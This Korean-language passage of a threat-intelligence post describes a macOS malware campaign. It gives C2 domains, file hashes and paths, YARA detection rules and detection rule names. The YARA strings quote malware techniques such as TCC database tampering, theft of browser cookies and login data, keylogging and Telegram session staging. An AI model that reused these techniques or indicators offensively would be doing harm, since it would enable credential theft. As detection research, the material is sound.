CHROMEPUSH는 수집된 데이터를 준비하여 HTTP POST 요청으로 C&C 서버에 보냅니다. 맨디언트가 분석한 샘플에서 C&C 서버는 hxxp://cmailer[.]pro:80/upload로 확인되었습니다.

SILENCELIFT

SILENCELIFT는 호스트 정보를 하드코딩된 C&C 서버로 전송하는 C/C++로 작성된 최소한의 기능을 가진 백도어입니다. 이 샘플에서 확인된 C&C 서버는 support-zoom[.]us였습니다.

SILENCELIFT는 하드코딩된 파일 경로 /Library/Caches/.Logs.db에서 고유 ID를 가져옵니다. 특히, 이것은 CHROMEPUSH가 사용하는 경로와 정확히 동일합니다. 이 백도어는 또한 잠금 화면 상태를 가져와 고유 ID와 함께 C&C 서버로 전송합니다.

루트 권한으로 실행될 경우, SILENCELIFT는 C&C 서버로 정보를 전송하는 동안 텔레그램 통신을 능동적으로 방해할 수 있습니다.

침해 지표 (Indicators of Compromise)

이 블로그 게시물에 설명된 활동을 추적하고 식별하는 데 더 넓은 커뮤니티를 지원하기 위해, 등록된 사용자를 위한 GTI 컬렉션에 침해 지표(IOC)를 포함했습니다.

네트워크 기반 지표

지표

설명

mylingocoin.com

초기 감염을 시작하기 위해 검색 및 실행된 페이로드를 호스팅했습니다.

zoom.uswe05.us

가짜 줌(Zoom) 미팅을 호스팅했습니다.

breakdream.com

SUGARLOADER C&C 

dreamdie.com

SUGARLOADER C&C 

support-zoom.us

SILENCELIFT C&C

supportzm.com

HYPERCALL C&C

zmsupport.com

HYPERCALL C&C

cmailer.pro

CHROMEPUSH upload server 

호스트 기반 지표

설명

SHA-256 해시

파일 이름

DEEPBREATH

b452C2da7c012eda25a1403b3313444b5eb7C2c3e25eee489f1bd256f8434735

/Library/Caches/System Settings

SUGARLOADER

1a30d6cdb0b98feed62563be8050db55ae0156ed437701d36a7b46aabf086ede

/Library/OSRecovery/SystemUpdater

WAVESHAPER

b525837273dde06b86b5f93f9aeC2C29665324105b0b66f6df81884754f8080d

/Library/Caches/com.apple.mond

HYPERCALL

c8f7608d4e19f6cb03680941bbd09fe969668bcb09c7ca985048a22e014dffcd

/Library/SystemSettings/com.apple.system.settings

CHROMEPUSH

603848f37ab932dccef98ee27e3c5af9221d3b6ccfe457ccf93cb572495ac325

/Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Brave Browser Docs

/Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs

/Library/Caches/chromeext

SILENCELIFT

c3e5d878a30a6c46e22d1dd2089b32086c91f13f8b9c413aa84e1dbaa03b9375

/Library/Fonts/com.apple.logd

HYPERCALL 구성 (sudo로 자신을 실행)

03f00a143b8929585c122d490b6a3895d639c17d92C2223917e3a9ca1b8d30f9

/Library/SystemSettings/.CacheLogs.db

YARA Rules

rule G_Backdoor_WAVESHAPER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "c91725905b273e81e9cc6983a11c8d60"
		rev = 1
	strings:
		$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
		$str2 = "/tmp/.%s"
		$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
		$str4 = "sysctl -n hw.model"
		$str5 = "sysctl -n machdep.cpu.brand_string"
		$str6 = "sw_vers --ProductVersion"
	condition:
		all of them
}
rule G_Backdoor_WAVESHAPER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
		rev = 1
	strings:
		$str1 = "__Z10RunCommand"
		$str2 = "__Z11GenerateUID"
		$str3 = "__Z11GetResponse"
		$str4 = "__Z13WriteCallback"
		$str5 = "__Z14ProcessRequest"
		$str6 = "__Z14SaveAndExecute"
		$str7 = "__Z16MakeStatusString"
		$str8 = "__Z24GetCurrentExecutablePath"
		$str9 = "__Z7Execute"
	condition:
		all of them
}
rule G_Downloader_HYPERCALL_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-10-24"
		date_modified = "2025-10-24"
		rev = 1
	strings:
		$go_build = "Go build ID:"
		$go_inf = "Go buildinf:"
		$lib1 = "/inject_mac/inject.go"
		$lib2 = "github.com/gorilla/websocket"
		$func1 = "t_loader/inject_mac.Inject"
		$func2 = "t_loader/common.rc4_decode"
		$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
		$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
}
rule G_Backdoor_SILENCELIFT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
		date_created = "2025/10/23"
		date_modified = "2025/10/28"
		rev = 2
	strings:
		$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
		$ss2 = "pkill -CONT -f" ascii fullword
		$ss3 = "pkill -STOP -f" ascii fullword
		$ss4 = "/Library/Caches/.Logs.db" ascii fullword
		$ss5 = "/Library/Caches/.evt_"
		$ss6 = "{\"bot_id\":\""
		$ss7 = "\", \"status\":"
		$ss8 = "/Library/Fonts/.analyzed" ascii fullword
	condition:
		all of them
}
rule G_APTFIN_Downloader_SUGARLOADER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "3712793d3847dd0962361aa528fa124c"
		date_created = "2025/10/15"
		date_modified = "2025/10/15"
		rev = 1
	strings:
		$ss1 = "/Library/OSRecovery/com.apple.os.config"
		$ss2 = "/Library/Group Containers/OSRecovery"
		$ss4 = "_wolfssl_make_rng"
	condition:
		all of them
}
rule G_APTFIN_Downloader_SUGARLOADER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$m1 = "__mod_init_func\x00lko2\x00"
		$m2 = "__mod_term_func\x00lko2\x00"
		$m3 = "/usr/lib/libcurl.4.dylib"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
}
rule G_Datamine_DEEPBREATH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$sa1 = "-fakedel"
		$sa2 = "-autodat"
		$sa3 = "-datadel"
		$sa4 = "-extdata"
		$sa5 = "TccClickJack"
		$sb1 = "com.apple.TCC\" as alias"
		$sb2 = "/TCC.db\" as alias"
		$sc1 = "/group.com.apple.notes\") as alias"
		$sc2 = ".keepcoder.Telegram\")"
		$sc3 = "Support/Google/Chrome/\")"
		$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
		$sc5 = "Support/Microsoft Edge/\")"
		$sc6 = "& \"/Local Extension Settings\""
		$sc7 = "& \"/Cookies\""
		$sc8 = "& \"/Login Data\""
		$sd1 = "\"cp -rf \" & quoted form of "
	condition:
		(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
}
rule G_Datamine_CHROMEPUSH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-06"
		date_modified = "2025-11-06"
		rev = 1
	strings:
		$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
		$s2 = "%s/tmpCA.dat"
		$s3 = "mouseStates"
		$s4 = "touch /Library/Caches/.evt_"
		$s5 = "cp -f"
		$s6 = "rm -rf"
		$s7 = "keylogs"
		$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
		$s9 = "%s/tmpKL.dat"
		$s10 = "OK: Create data.js success"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
}

Google Security Operations (SecOps)

Google SecOps 고객은 "Mandiant Intel Emerging Threats" 및 "Mandiant Hunting Rules" 규칙 팩에서 이러한 광범위한 카테고리 규칙 등에 접근할 수 있습니다. 블로그 게시물에서 논의된 활동은 Google SecOps에서 다음 규칙 이름으로 탐지됩니다.

  • Application Support com.apple 의심스러운 파일 쓰기 (Application Support com.apple Suspicious Filewrites)

  • Chrome 네이티브 메시징 디렉터리 (Chrome Native Messaging Directory)

  • Chrome 서비스 워커 디렉터리 삭제 (Chrome Service Worker Directory Deletion)

  • 라이브러리 캐시의 데이터베이스 준비 (Database Staging in Library Caches)

  • macOS Chrome 확장 프로그램 수정 (macOS Chrome Extension Modification)

  • macOS Notes 데이터베이스 수집 (macOS Notes Database Harvesting)

  • macOS TCC 데이터베이스 조작 (macOS TCC Database Manipulation)

  • macOS 웹 브라우저 자격 증명에 대한 의심스러운 접근 (Suspicious Access To macOS Web Browser Credentials)

  • 의심스러운 오디오 하드웨어 핑거프린팅 (Suspicious Audio Hardware Fingerprinting)

  • 의심스러운 키체인 상호작용 (Suspicious Keychain Interaction)

  • 의심스러운 라이브러리 폰트 디렉터리 파일 쓰기 (Suspicious Library Font Directory File Write)

  • 의심스러운 다단계 페이로드 로더 (Suspicious Multi-Stage Payload Loader)

  • macOS 시스템 파일에 대한 의심스러운 권한 (Suspicious Permissions on macOS System File)

  • 의심스러운 SoftwareUpdate 위장 (Suspicious SoftwareUpdate Masquerading)

  • 의심스러운 TCC 데이터베이스 수정 (Suspicious TCC Database Modification)

  • ZSH로의 의심스러운 웹 다운로더 파이프 (Suspicious Web Downloader Pipe to ZSH)

  • 텔레그램 세션 데이터 준비 (Telegram Session Data Staging)

게시 위치